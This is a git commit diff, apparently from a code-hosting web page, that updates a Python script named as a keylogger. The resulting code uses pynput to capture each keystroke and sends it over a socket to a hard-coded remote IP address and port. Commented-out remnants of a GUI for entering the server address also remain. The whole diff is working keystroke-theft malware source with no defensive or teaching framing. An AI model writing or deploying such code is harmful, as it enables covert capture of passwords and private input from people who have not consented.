Update 'Server/KEY LOGGER - Mirror - KEYBOARD - release.py'
This commit is contained in:
parent
820db8b71e
commit
ff228b75ae
@ -3,9 +3,14 @@ import os
|
||||
from tkinter import *
|
||||
from pynput import keyboard
|
||||
|
||||
#ipFile = open("IP.txt")
|
||||
#IP = ipFile.read()
|
||||
#ipFile.close()
|
||||
|
||||
|
||||
#window = Tk()
|
||||
#label = Label(window, text= 'What is the IP')
|
||||
#entry = Entry(browser_window, width=200)
|
||||
#entry = Entry(window, width=200)
|
||||
#entry.insert(END, IP)
|
||||
#label.pack()
|
||||
#entry.pack()
|
||||
@ -18,17 +23,7 @@ BUFFER_SIZE = 128 # send 4096 bytes each time step
|
||||
host = "10.4.27.243"
|
||||
# the ip address or hostname of the server, the receiver
|
||||
# the port, let's use 5001
|
||||
port = 10001
|
||||
|
||||
#IPfile = open("IPfile.txt", "w")
|
||||
#text_file.write("¬")
|
||||
#text_file.close()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
port = 10003
|
||||
|
||||
# create the client socket
|
||||
s = socket.socket()
|
||||
@ -37,26 +32,22 @@ s.connect((host, port))
|
||||
print("[+] Connected.")
|
||||
|
||||
|
||||
|
||||
#-----------------------------------------------------------
|
||||
|
||||
|
||||
def on_press(key):
|
||||
dataToSend = ""
|
||||
dataToSend.write(('{}'.format(key)).replace("'", ""))
|
||||
sendfile()
|
||||
def on_release(key):
|
||||
dataToSend = (('{}'.format(key)).replace("'", ""))
|
||||
dataToSendBytes = dataToSend.encode()
|
||||
s.sendall(dataToSendBytes)
|
||||
|
||||
def on_press(key):
|
||||
print("\n")
|
||||
|
||||
|
||||
|
||||
|
||||
with keyboard.Listener(
|
||||
|
||||
on_press = on_press) as listener:
|
||||
|
||||
with keyboard.Listener(on_press = on_press, on_release = on_release) as listener:
|
||||
listener.join()
|
||||
|
||||
|
||||
#-----------------------------------------
|
||||
|
||||
|
||||
#-----------------------------------------
|
Loading…
x
Reference in New Issue
Block a user